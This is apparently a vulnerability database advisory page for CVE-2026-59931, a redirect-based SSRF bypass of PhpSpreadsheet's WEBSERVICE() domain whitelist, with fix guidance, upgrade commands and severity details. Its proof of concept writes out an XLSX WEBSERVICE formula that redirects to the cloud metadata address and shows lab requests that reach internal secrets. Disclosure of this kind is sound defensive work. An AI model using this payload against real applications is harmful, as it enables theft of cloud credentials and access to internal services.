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CVE-2026-59931 — Vulnerability in phpoffice/phpspreadsheet — CVE...

HIGH

PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

Published July 23, 2026Updated July 23, 2026Source: osv

Summary

### Summary The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the `WEBSERVICE()` formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but `file_get_contents()` follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect. ### Details In `Calculation/Web/Service.php`, the `webService()` method validates the URL's host against a domain whitelist set via `Spreadsheet::setDomainWhiteList()`. If the host passes validation, the method calls `file_get_contents($url, false, $ctx)` to fetch the content. The stream context does not disable redirect following: ```php $ctxArray = [ 'http' => [ 'user_agent' => 'Mozilla/5.0 ...', // follow_location defaults to true // max_redirects defaults to 20 ], ]; ``` PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is **not** re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses. **Vulnerable code** (`Calculation/Web/Service.php`): ```php // Whitelist check — runs ONCE on the initial URL $domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? []; $host = $parsed['host'] ?? ''; if (!in_array($host, $domainWhiteList, true)) { return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED; } // HTTP request — follows redirects to ANY destination $ctx = stream_context_create($ctxArray); $output = @file_get_contents($url, false, $ctx); ``` Additionally, the whitelist check uses only the hostname from `parse_url()`, ignoring the port. This means whitelisting `example.com` permits access to all ports on that host. ### PoC **Prerequisites:** - Application uses PhpSpreadsheet >= 5.4.0 - Application calls `$spreadsheet->setDomainWhiteList([...])` with at least one domain - Application calls `$cell->getCalculatedValue()` on uploaded XLSX files **Attack steps:** 1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls). 2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL: ```xml <c r="A1"> <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f> </c> ``` 3. Upload the XLSX to the target application. The calculation engine: - Validates `whitelisted-domain.com` against the whitelist — **passes** - Calls `file_get_contents("http://whitelisted-domain.com/redirect?url=...")` - `file_get_contents` follows the 302 redirect to `http://169.254.169.254/latest/meta-data/` — **no re-validation** - Returns the cloud metadata response as the cell's calculated value **Lab reproduction:** ```bash # Setup (PhpSpreadsheet 5.7.0, PHP 8.3) # App whitelists "trusted-api.example.com" # Redirect server on trusted-api.example.com:7071 returns 302 → internal target # Test 1: Direct internal access — BLOCKED by whitelist =WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets") → Result: null (blocked) # Test 2: Via redirect from whitelisted domain — BYPASS =WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal") → Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."} ``` Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain). ### Impact An attacker who can upload XLSX files to an application that uses `setDomainWhiteList()` and `getCalculatedValue()` can: - **Bypass the domain whitelist** by routing requests through a whitelisted domain that redirects to internal targets - **Exfiltrate cloud metadata** (AWS/GCP/Azure instance credentials) via `http://169.254.169.254/` - **Access internal services** not exposed to the internet - **Port-scan internal networks** via any whitelisted hostname (port is not validated) This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value. **Attack scenarios:** - Whitelisted domain has an open redirect vulnerability - Attacker controls the whitelisted domain (e.g., a free-tier API service) - DNS rebinding after the whitelist check ### Suggested Fix Disable redirect following in the stream context: ```php $ctxArray = [ 'http' => [ 'user_agent' => '...', 'follow_location' => false, 'max_redirects' => 0, ], ]; ``` Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist. Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts. ### Related This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF. Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine. ---

Advisory Timeline

  • First published July 23, 2026 (81 days ago).
  • Last revised July 23, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update phpoffice/phpspreadsheet to 5.8.1 or later
composer require "phpoffice/phpspreadsheet:^5.8.1"
Composer
Update phpoffice/phpspreadsheet to 2.1.18 or later
composer require "phpoffice/phpspreadsheet:^2.1.18"
Composer
Update phpoffice/phpspreadsheet to 2.4.7 or later
composer require "phpoffice/phpspreadsheet:^2.4.7"
Composer
Update phpoffice/phpspreadsheet to 3.10.7 or later
composer require "phpoffice/phpspreadsheet:^3.10.7"
Composer
Update phpoffice/phpspreadsheet to 1.30.6 or later
composer require "phpoffice/phpspreadsheet:^1.30.6"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (5)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
phpoffice/phpspreadsheet
packagist
4.0.0, 4.1.0, 4.2.0, 4.3.0 (+12 more)5.8.1
phpoffice/phpspreadsheet
packagist
2.0.0, 2.1.0, 2.1.1, 2.1.10 (+14 more)2.1.18
phpoffice/phpspreadsheet
packagist
2.2.0, 2.2.1, 2.2.2, 2.3.0 (+16 more)2.4.7
phpoffice/phpspreadsheet
packagist
3.10.0, 3.10.1, 3.10.2, 3.10.3 (+13 more)3.10.7
phpoffice/phpspreadsheet
packagist
1.0.0, 1.0.0-beta, 1.0.0-beta2, 1.1.0 (+59 more)1.30.6

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-918
    Server-Side Request Forgery (SSRF)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.7 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Frequently Asked Questions

What is CVE-2026-59931?
PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.7/10).
How do I check if my project is affected by CVE-2026-59931?
CVE-2026-59931 affects phpoffice/phpspreadsheet. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-59931 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.7

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-6hq5-7373-42rg

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